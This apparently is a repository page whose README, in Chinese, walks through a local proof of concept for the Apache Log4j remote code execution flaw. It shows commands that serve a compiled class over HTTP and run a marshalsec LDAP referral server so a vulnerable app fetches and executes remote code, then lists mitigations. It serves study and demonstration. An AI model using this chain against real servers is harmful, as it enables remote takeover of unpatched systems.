# apache-log4j-poc **Repository Path**: study-base/apache-log4j-poc ## Basic Information - **Project Name**: apache-log4j-poc - **Description**: Apache Log4j 远程代码执行 - **Primary Language**: Unknown - **License**: Not specified - **Default Branch**: master - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 0 - **Forks**: 2 - **Created**: 2021-12-10 - **Last Updated**: 2021-12-10 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README # Apache-Log4j Apache Log4j 远程代码执行 > 攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响 ![image](img/img.png) > 参考:[https://github.com/tangxiaofeng7/apache-log4j-poc](https://github.com/tangxiaofeng7/apache-log4j-poc) > 步骤 1. Compile Log4jRCE.java and start http server `python -m http.server 8888` 2. Start ldap server ```shell git clone git@github.com:mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE" ``` 3. 启动log4j.java,然后就会发现命令行出现了I am Log4jRCE from remote!!!。底层就是会远程下载Log4jRCE.class,然后执行newInstance(),所以会执行static、构造函数代码。 ### 修复方案: (1)修改jvm参数 -Dlog4j2.formatMsgNoLookups=true (2)修改配置 在应用classpath下添加log4j2.component.properties配置文件,log4j2.formatMsgNoLookups=true